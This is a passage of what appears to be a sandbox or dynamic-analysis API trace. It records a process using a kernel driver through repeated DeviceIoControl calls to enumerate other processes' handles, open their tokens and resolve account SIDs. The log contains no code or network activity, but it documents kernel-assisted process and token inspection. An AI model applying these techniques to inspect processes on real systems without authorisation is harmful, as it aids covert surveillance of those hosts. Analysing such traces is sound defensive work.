[0122.823] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.823] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.823] PsAcquireProcessExitSynchronization () returned 0x0 [0122.823] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880044355d0) [0122.823] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800208edc0, HandleInformation=0x0) returned 0x0 [0122.823] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.823] PsReleaseProcessExitSynchronization () returned 0x2 [0122.823] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0122.823] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.823] ObfDereferenceObject (Object=0xfffffa800208edc0) returned 0x1 [0122.823] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.823] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.823] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.824] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0122.824] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.824] PsAcquireProcessExitSynchronization () returned 0x0 [0122.824] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880044355d0) [0122.824] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020927e0, HandleInformation=0x0) returned 0x0 [0122.824] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.824] PsReleaseProcessExitSynchronization () returned 0x2 [0122.824] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0122.824] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.824] ObfDereferenceObject (Object=0xfffffa80020927e0) returned 0x1 [0122.824] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.824] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.824] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.824] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.824] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.824] PsAcquireProcessExitSynchronization () returned 0x0 [0122.824] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880044355d0) [0122.824] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.824] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.824] PsReleaseProcessExitSynchronization () returned 0x2 [0122.824] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0122.824] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.824] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.824] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.824] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.824] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x81c) returned 0xc0 [0122.824] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.824] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020a3b30, HandleInformation=0x0) returned 0x0 [0122.824] ObOpenObjectByPointer (in: Object=0xfffffa80020a3b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.824] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x12 [0122.824] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.824] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.825] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.825] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.825] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.826] CloseHandle (hObject=0xc8) returned 1 [0122.826] CloseHandle (hObject=0xc0) returned 1 [0122.826] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.826] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.826] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.826] PsAcquireProcessExitSynchronization () returned 0x0 [0122.826] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880044355d0) [0122.826] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020a2f20, HandleInformation=0x0) returned 0x0 [0122.826] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.826] PsReleaseProcessExitSynchronization () returned 0x2 [0122.826] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0122.826] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.826] ObfDereferenceObject (Object=0xfffffa80020a2f20) returned 0x1 [0122.826] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.826] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.826] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.827] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0122.827] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.827] PsAcquireProcessExitSynchronization () returned 0x0 [0122.827] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880044355d0) [0122.827] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020a5430, HandleInformation=0x0) returned 0x0 [0122.827] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.827] PsReleaseProcessExitSynchronization () returned 0x2 [0122.827] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0122.827] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.827] ObfDereferenceObject (Object=0xfffffa80020a5430) returned 0x1 [0122.827] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.827] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.827] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.827] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.827] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.827] PsAcquireProcessExitSynchronization () returned 0x0 [0122.827] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880044355d0) [0122.827] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.827] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.827] PsReleaseProcessExitSynchronization () returned 0x2 [0122.827] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0122.827] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.827] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.827] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.827] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.827] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x82c) returned 0xc0 [0122.827] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.827] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020af800, HandleInformation=0x0) returned 0x0 [0122.827] ObOpenObjectByPointer (in: Object=0xfffffa80020af800, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.827] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x12 [0122.827] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.827] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.827] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.828] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.828] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.829] CloseHandle (hObject=0xc8) returned 1 [0122.829] CloseHandle (hObject=0xc0) returned 1 [0122.829] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.829] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.829] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.829] PsAcquireProcessExitSynchronization () returned 0x0 [0122.829] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880044355d0) [0122.829] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020aff20, HandleInformation=0x0) returned 0x0 [0122.829] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.829] PsReleaseProcessExitSynchronization () returned 0x2 [0122.829] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0122.829] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.829] ObfDereferenceObject (Object=0xfffffa80020aff20) returned 0x1 [0122.829] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.829] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.829] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.829] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0122.829] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.829] PsAcquireProcessExitSynchronization () returned 0x0 [0122.829] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880044355d0) [0122.829] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020b1490, HandleInformation=0x0) returned 0x0 [0122.830] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.830] PsReleaseProcessExitSynchronization () returned 0x2 [0122.830] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0122.830] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.830] ObfDereferenceObject (Object=0xfffffa80020b1490) returned 0x1 [0122.830] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.830] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.830] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.830] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.830] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.830] PsAcquireProcessExitSynchronization () returned 0x0 [0122.830] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880044355d0) [0122.830] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.830] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.830] PsReleaseProcessExitSynchronization () returned 0x2 [0122.830] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0122.830] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.830] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.830] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.830] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.830] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x83c) returned 0xc0 [0122.830] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.830] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020bb800, HandleInformation=0x0) returned 0x0 [0122.830] ObOpenObjectByPointer (in: Object=0xfffffa80020bb800, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.830] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x12 [0122.830] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.830] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.830] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.830] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.830] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.832] CloseHandle (hObject=0xc8) returned 1 [0122.832] CloseHandle (hObject=0xc0) returned 1 [0122.832] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.832] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.832] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.832] PsAcquireProcessExitSynchronization () returned 0x0 [0122.832] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880044355d0) [0122.832] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020bbf20, HandleInformation=0x0) returned 0x0 [0122.832] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.832] PsReleaseProcessExitSynchronization () returned 0x2 [0122.832] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0122.832] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.832] ObfDereferenceObject (Object=0xfffffa80020bbf20) returned 0x1 [0122.832] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.832] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.832] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.832] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0122.832] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.832] PsAcquireProcessExitSynchronization () returned 0x0 [0122.832] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880044355d0) [0122.832] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020bd4a0, HandleInformation=0x0) returned 0x0 [0122.832] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.832] PsReleaseProcessExitSynchronization () returned 0x2 [0122.832] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0122.832] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.832] ObfDereferenceObject (Object=0xfffffa80020bd4a0) returned 0x1 [0122.832] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.833] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.833] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.833] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.833] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.833] PsAcquireProcessExitSynchronization () returned 0x0 [0122.833] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880044355d0) [0122.833] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.833] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.833] PsReleaseProcessExitSynchronization () returned 0x2 [0122.833] ObfDereferenceObject 